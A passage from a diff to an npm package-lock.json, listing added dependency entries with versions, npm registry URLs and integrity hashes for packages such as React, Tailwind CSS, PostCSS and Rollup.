"2.13.1", + "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.13.1.tgz", + "integrity": "sha512-hHrIjvZsftOsvKSn2TRYl63zvxsgE0K+0mYMoH6gD4omR5IWB2KynivBQczo3+wF1cCkjzvptnI9Q0sPU66ilw==", + "requires": { + "hasown": "^2.0.0" + } + }, + "is-extglob": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", + "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", + "dev": true + }, + "is-glob": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", + "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", + "dev": true, + "requires": { + "is-extglob": "^2.1.1" + } + }, + "is-number": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", + "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", + "dev": true + }, + "jiti": { + "version": "1.21.0", + "resolved": "https://registry.npmjs.org/jiti/-/jiti-1.21.0.tgz", + "integrity": "sha512-gFqAIbuKyyso/3G2qhiO2OM6shY6EPP/R0+mkDbyspxKazh8BXDC5FiFsUjlczgdNz/vfra0da2y+aHrusLG/Q==", + "dev": true + }, + "js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==" + }, + "jsesc": { + "version": "2.5.2", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz", + "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==" + }, + "json-parse-even-better-errors": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", + "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==" + }, + "json5": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.1.tgz", + "integrity": "sha512-1hqLFMSrGHRHxav9q9gNjJ5EXznIxGVO09xQRrwplcS8qs28pZ8s8hupZAmqDwZUmVZ2Qb2jnyPOWcDH8m8dlA==" + }, + "lilconfig": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-2.1.0.tgz", + "integrity": "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ==", + "dev": true + }, + "lines-and-columns": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", + "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==" + }, + "loose-envify": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loose-envify/-/loose-envify-1.4.0.tgz", + "integrity": "sha512-lyuxPGr/Wfhrlem2CL/UcnUc1zcqKAImBDzukY7Y5F/yQiNdko6+fRLevlw1HgMySw7f611UIY408EtxRSoK3Q==", + "requires": { + "js-tokens": "^3.0.0 || ^4.0.0" + } + }, + "magic-string": { + "version": "0.26.6", + "resolved": "https://registry.npmjs.org/magic-string/-/magic-string-0.26.6.tgz", + "integrity": "sha512-6d+3bFybzyQFJYSoRsl9ZC0wheze8M1LrQC7tNMRqXR4izUTDOLMd9BtSuExK9iAukFh+s5K0WAhc/dlQ+HKYA==", + "dev": true, + "requires": { + "sourcemap-codec": "^1.4.8" + } + }, + "merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "dev": true + }, + "micromatch": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.5.tgz", + "integrity": "sha512-DMy+ERcEW2q8Z2Po+WNXuw3c5YaUSFjAO5GsJqfEl7UjvtIuFKO6ZrKvcItdy98dwFI2N1tg3zNIdKaQT+aNdA==", + "dev": true, + "requires": { + "braces": "^3.0.2", + "picomatch": "^2.3.1" + } + }, + "minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "requires": { + "brace-expansion": "^1.1.7" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + }, + "mz": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/mz/-/mz-2.7.0.tgz", + "integrity": "sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==", + "dev": true, + "requires": { + "any-promise": "^1.0.0", + "object-assign": "^4.0.1", + "thenify-all": "^1.0.0" + } + }, + "nanoid": { + "version": "3.3.7", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.7.tgz", + "integrity": "sha512-eSRppjcPIatRIMC1U6UngP8XFcz8MQWGQdt1MTBQ7NaAmvXDfvNxbvWV3x2y6CdEUciCSsDHDQZbhYaB8QEo2g==", + "dev": true + }, + "node-releases": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.6.tgz", + "integrity": "sha512-PiVXnNuFm5+iYkLBNeq5211hvO38y63T0i2KKh2KnUs3RpzJ+JtODFjkD8yjLwnDkTYF1eKXheUwdssR+NRZdg==" + }, + "normalize-path": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz", + "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==", + "dev": true + }, + "object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==" + }, + "object-hash": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/object-hash/-/object-hash-3.0.0.tgz", + "integrity": "sha512-RSn9F68PjH9HqtltsSnqYC1XXoWe9Bju5+213R98cNGttag9q9yAOTzdbsqvIa7aNm5WffBZFpWYr2aWrklWAw==", + "dev": true + }, + "once": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", + "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", + "dev": true, + "requires": { + "wrappy": "1" + } + }, + "parent-module": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/parent-module/-/parent-module-1.0.1.tgz", + "integrity": "sha512-GQ2EWRpQV8/o+Aw8YqtfZZPfNRWZYkbidE9k5rpl/hC3vtHHBfGm2Ifi6qWV+coDGkrUKZAxE3Lot5kcsRlh+g==", + "requires": { + "callsites": "^3.0.0" + } + }, + "parse-json": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz", + "integrity": "sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==", + "requires": { + "@babel/code-frame": "^7.0.0", + "error-ex": "^1.3.1", + "json-parse-even-better-errors": "^2.3.0", + "lines-and-columns": "^1.1.6" + } + }, + "path-is-absolute": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", + "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", + "dev": true + }, + "path-parse": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz", + "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==" + }, + "path-type": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", + "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==" + }, + "picocolors": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.0.0.tgz", + "integrity": "sha512-1fygroTLlHu66zi26VoTDv8yRgm0Fccecssto+MhsZ0D/DGW2sm8E8AjW7NU5VVTRt5GxbeZ5qBuJr+HyLYkjQ==" + }, + "picomatch": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", + "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==" + }, + "pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", + "dev": true + }, + "pirates": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/pirates/-/pirates-4.0.6.tgz", + "integrity": "sha512-saLsH7WeYYPiD25LDuLRRY/i+6HaPYr6G1OUlN39otzkSTxKnubR9RTxS3/Kk50s1g2JTgFwWQDQyplC5/SHZg==", + "dev": true + }, + "postcss": { + "version": "8.4.32", + "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.32.tgz", + "integrity": "sha512-D/kj5JNu6oo2EIy+XL/26JEDTlIbB8hw85G8StOE6L74RQAVVP5rej6wxCNqyMbR4RkPfqvezVbPw81Ngd6Kcw==", + "dev": true, + "requires": { + "nanoid": "^3.3.7", + "picocolors": "^1.0.0", + "source-map-js": "^1.0.2" + } + }, + "postcss-import": { + "version": "15.1.0", + "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz", + "integrity": "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==", + "dev": true, + "requires": { + "postcss-value-parser": "^4.0.0", + "read-cache": "^1.0.0", + "resolve": "^1.1.7" + } + }, + "postcss-js": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.0.1.tgz", + "integrity": "sha512-dDLF8pEO191hJMtlHFPRa8xsizHaM82MLfNkUHdUtVEV3tgTp5oj+8qbEqYM57SLfc74KSbw//4SeJma2LRVIw==", + "dev": true, + "requires": { + "camelcase-css": "^2.0.1" + } + }, + "postcss-load-config": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-4.0.2.tgz", + "integrity": "sha512-bSVhyJGL00wMVoPUzAVAnbEoWyqRxkjv64tUl427SKnPrENtq6hJwUojroMz2VB+Q1edmi4IfrAPpami5VVgMQ==", + "dev": true, + "requires": { + "lilconfig": "^3.0.0", + "yaml": "^2.3.4" + }, + "dependencies": { + "lilconfig": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.0.0.tgz", + "integrity": "sha512-K2U4W2Ff5ibV7j7ydLr+zLAkIg5JJ4lPn1Ltsdt+Tz/IjQ8buJ55pZAxoP34lqIiwtF9iAvtLv3JGv7CAyAg+g==", + "dev": true + }, + "yaml": { + "version": "2.3.4", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.3.4.tgz", + "integrity": "sha512-8aAvwVUSHpfEqTQ4w/KMlf3HcRdt50E5ODIQJBw1fQ5RL34xabzxtUlzTXVqc4rkZsPbvrXKWnABCD7kWSmocA==", + "dev": true + } + } + }, + "postcss-nested": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-6.0.1.tgz", + "integrity": "sha512-mEp4xPMi5bSWiMbsgoPfcP74lsWLHkQbZc3sY+jWYd65CUwXrUaTp0fmNpa01ZcETKlIgUdFN/MpS2xZtqL9dQ==", + "dev": true, + "requires": { + "postcss-selector-parser": "^6.0.11" + } + }, + "postcss-selector-parser": { + "version": "6.0.13", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.13.tgz", + "integrity": "sha512-EaV1Gl4mUEV4ddhDnv/xtj7sxwrwxdetHdWUGnT4VJQf+4d05v6lHYZr8N573k5Z0BViss7BDhfWtKS3+sfAqQ==", + "dev": true, + "requires": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + } + }, + "postcss-value-parser": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", + "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", + "dev": true + }, + "prop-types": { + "version": "15.8.1", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz", + "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==", + "requires": { + "loose-envify": "^1.4.0", + "object-assign": "^4.1.1", + "react-is": "^16.13.1" + } + }, + "queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true + }, + "react": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react/-/react-18.2.0.tgz", + "integrity": "sha512-/3IjMdb2L9QbBdWiW5e3P2/npwMBaU9mHCSCUzNln0ZCYbcfTsGbTJrU/kGemdH2IWmB2ioZ+zkxtmq6g09fGQ==", + "requires": { + "loose-envify": "^1.1.0" + } + }, + "react-countup": { + "version": "6.4.2", + "resolved": "https://registry.npmjs.org/react-countup/-/react-countup-6.4.2.tgz", + "integrity": "sha512-wdDrNb2lPFGbLb+i0FTgswPbWziubS6KZRII8NRpXmUCoZsi15PFbIHgBz60Dyxd4KPuRvwsK5aawIU4OPP3jA==", + "requires": { + "@rollup/plugin-babel": "^6.0.3", + "countup.js": "^2.5.0" + } + }, + "react-dom": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-18.2.0.tgz", + "integrity": "sha512-6IMTriUmvsjHUjNtEDudZfuDQUoWXVxKHhlEGSk81n4YFS+r/Kl99wXiwlVXtPBtJenozv2P+hxDsw9eA7Xo6g==", + "requires": { + "loose-envify": "^1.1.0", + "scheduler": "^0.23.0" + } + }, + "react-draggable": { + "version": "4.4.5", + "resolved": "https://registry.npmjs.org/react-draggable/-/react-draggable-4.4.5.tgz", + "integrity": "sha512-OMHzJdyJbYTZo4uQE393fHcqqPYsEtkjfMgvCHr6rejT+Ezn4OZbNyGH50vv+SunC1RMvwOTSWkEODQLzw1M9g==", + "requires": { + "clsx": "^1.1.1", + "prop-types": "^15.8.1" + } + }, + "react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" + }, + "react-refresh": { + "version": "0.14.0", + "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.14.0.tgz", + "integrity": "sha512-wViHqhAd8OHeLS/IRMJjTSDHF3U9eWi62F/MledQGPdJGDhodXJ9PBLNGr6WWL7qlH12Mt3TyTpbS+hGXMjCzQ==", + "dev": true + }, + "react-remove-scroll": { + "version": "2.5.5", + "resolved": "https://registry.npmjs.org/react-remove-scroll/-/react-remove-scroll-2.5.5.tgz", + "integrity": "sha512-ImKhrzJJsyXJfBZ4bzu8Bwpka14c/fQt0k+cyFp/PBhTfyDnU5hjOtM4AG/0AMyy8oKzOTR0lDgJIM7pYXI0kw==", + "requires": { + "react-remove-scroll-bar": "^2.3.3", + "react-style-singleton": "^2.2.1", + "tslib": "^2.1.0", + "use-callback-ref": "^1.3.0", + "use-sidecar": "^1.1.2" + } + }, + "react-remove-scroll-bar": { + "version": "2.3.4", + "resolved": "https://registry.npmjs.org/react-remove-scroll-bar/-/react-remove-scroll-bar-2.3.4.tgz", + "integrity": "sha512-63C4YQBUt0m6ALadE9XV56hV8BgJWDmmTPY758iIJjfQKt2nYwoUrPk0LXRXcB/yIj82T1/Ixfdpdk68LwIB0A==", + "requires": { + "react-style-singleton": "^2.2.1", + "tslib": "^2.0.0" + } + }, + "react-style-singleton": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/react-style-singleton/-/react-style-singleton-2.2.1.tgz", + "integrity": "sha512-ZWj0fHEMyWkHzKYUr2Bs/4zU6XLmq9HsgBURm7g5pAVfyn49DgUiNgY2d4lXRlYSiCif9YBGpQleewkcqddc7g==", + "requires": { + "get-nonce": "^1.0.0", + "invariant": "^2.2.4", + "tslib": "^2.0.0" + } + }, + "react-textarea-autosize": { + "version": "8.3.4", + "resolved": "https://registry.npmjs.org/react-textarea-autosize/-/react-textarea-autosize-8.3.4.tgz", + "integrity": "sha512-CdtmP8Dc19xL8/R6sWvtknD/eCXkQr30dtvC4VmGInhRsfF8X/ihXCq6+9l9qbxmKRiq407/7z5fxE7cVWQNgQ==", + "requires": { + "@babel/runtime": "^7.10.2", + "use-composed-ref": "^1.3.0", + "use-latest": "^1.2.1" + } + }, + "read-cache": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz", + "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==", + "dev": true, + "requires": { + "pify": "^2.3.0" + } + }, + "readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "requires": { + "picomatch": "^2.2.1" + } + }, + "regenerator-runtime": { + "version": "0.13.11", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz", + "integrity": "sha512-kY1AZVr2Ra+t+piVaJ4gxaFaReZVH40AKNo7UCX6W+dEwBo/2oZJzqfuN1qLq1oL45o56cPaTXELwrTh8Fpggg==" + }, + "resolve": { + "version": "1.22.8", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.8.tgz", + "integrity": "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==", + "requires": { + "is-core-module": "^2.13.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + } + }, + "resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==" + }, + "reusify": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "dev": true + }, + "rollup": { + "version": "2.78.1", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-2.78.1.tgz", + "integrity": "sha512-VeeCgtGi4P+o9hIg+xz4qQpRl6R401LWEXBmxYKOV4zlF82lyhgh2hTZnheFUbANE8l2A41F458iwj2vEYaXJg==", + "devOptional": true, + "requires": { + "fsevents": "~2.3.2" + } + }, + "run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "requires": { + "queue-microtask": "^1.2.2" + } + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "scheduler": { + "version": "0.23.0", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.23.0.tgz", + "integrity": "sha512-CtuThmgHNg7zIZWAXi3AsyIzA3n4xx7aNyjwC2VJldO2LMVDhFK+63xGqq6CsJH4rTAt6/M+N4GhZiDYPx9eUw==", + "requires": { + "loose-envify": "^1.1.0" + } + }, + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==" + }, + "source-map": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", + "integrity": "sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==" + }, + "source-map-js": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz", + "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==", + "dev": true + }, + "sourcemap-codec": { + "version": "1.4.8", + "resolved": "https://registry.npmjs.org/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz", + "integrity": "sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==", + "dev": true + }, + "stylis": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/stylis/-/stylis-4.1.3.tgz", + "integrity": "sha512-GP6WDNWf+o403jrEp9c5jibKavrtLW+/qYGhFxFrG8maXhwTBI7gLLhiBb0o7uFccWN+EOS9aMO6cGHWAO07OA==" + }, + "sucrase": { + "version": "3.34.0", + "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.34.0.tgz", + "integrity": "sha512-70/LQEZ07TEcxiU2dz51FKaE6hCTWC6vr7FOk3Gr0U60C3shtAN+H+BFr9XlYe5xqf3RA8nrc+VIwzCfnxuXJw==", + "dev": true, + "requires": { + "@jridgewell/gen-mapping": "^0.3.2", + "commander": "^4.0.0", + "glob": "7.1.6", + "lines-and-columns": "^1.1.6", + "mz": "^2.7.0", + "pirates": "^4.0.1", + "ts-interface-checker": "^0.1.9" + }, + "dependencies": { + "@jridgewell/gen-mapping": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.3.tgz", + "integrity": "sha512-HLhSWOLRi875zjjMG/r+Nv0oCW8umGb0BgEhyX3dDX3egwZtB8PqLnjz3yedt8R5StBrzcg4aBpnh8UA9D1BoQ==", + "dev": true, + "requires": { + "@jridgewell/set-array": "^1.0.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.9" + } + } + } + }, + "supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "requires": { + "has-flag": "^3.0.0" + } + }, + "supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==" + }, + "tabbable": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/tabbable/-/tabbable-6.1.1.tgz", + "integrity": "sha512-4kl5w+nCB44EVRdO0g/UGoOp3vlwgycUVtkk/7DPyeLZUCuNFFKCFG6/t/DgHLrUPHjrZg6s5tNm+56Q2B0xyg==" + }, + "tailwindcss": { + "version": "3.3.5", + "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.3.5.tgz", + "integrity": "sha512-5SEZU4J7pxZgSkv7FP1zY8i2TIAOooNZ1e/OGtxIEv6GltpoiXUqWvLy89+a10qYTB1N5Ifkuw9lqQkN9sscvA==", + "dev": true, + "requires": { + "@alloc/quick-lru": "^5.2.0", + "arg": "^5.0.2", + "chokidar": "^3.5.3", + "didyoumean": "^1.2.2", + "dlv": "^1.1.3", + "fast-glob": "^3.3.0", + "glob-parent": "^6.0.2", + "is-glob": "^4.0.3", + "jiti": "^1.19.1", + "lilconfig": "^2.1.0", + "micromatch": "^4.0.5", + "normalize-path": "^3.0.0", + "object-hash": "^3.0.0", + "picocolors": "^1.0.0", + "postcss": "^8.4.23", + "postcss-import": "^15.1.0", + "postcss-js": "^4.0.1", + "postcss-load-config": "^4.0.1", + "postcss-nested": "^6.0.1", + "postcss-selector-parser": "^6.0.11", + "resolve": "^1.22.2", + "sucrase": "^3.32.0" + } + }, + "thenify": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz", + "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==", + "dev": true, + "requires": { + "any-promise": "^1.0.0" + } + }, + "thenify-all": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz", + "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==", + "dev": true, + "requires": { + "thenify": ">= 3.1.0 < 4" + } + }, + "to-fast-properties": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", + "integrity": "sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==" + }, + "to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "requires": { + "is-number": "^7.0.0" + } + }, + "ts-interface-checker": { + "version": "0.1.13", + "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz", + "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==", + 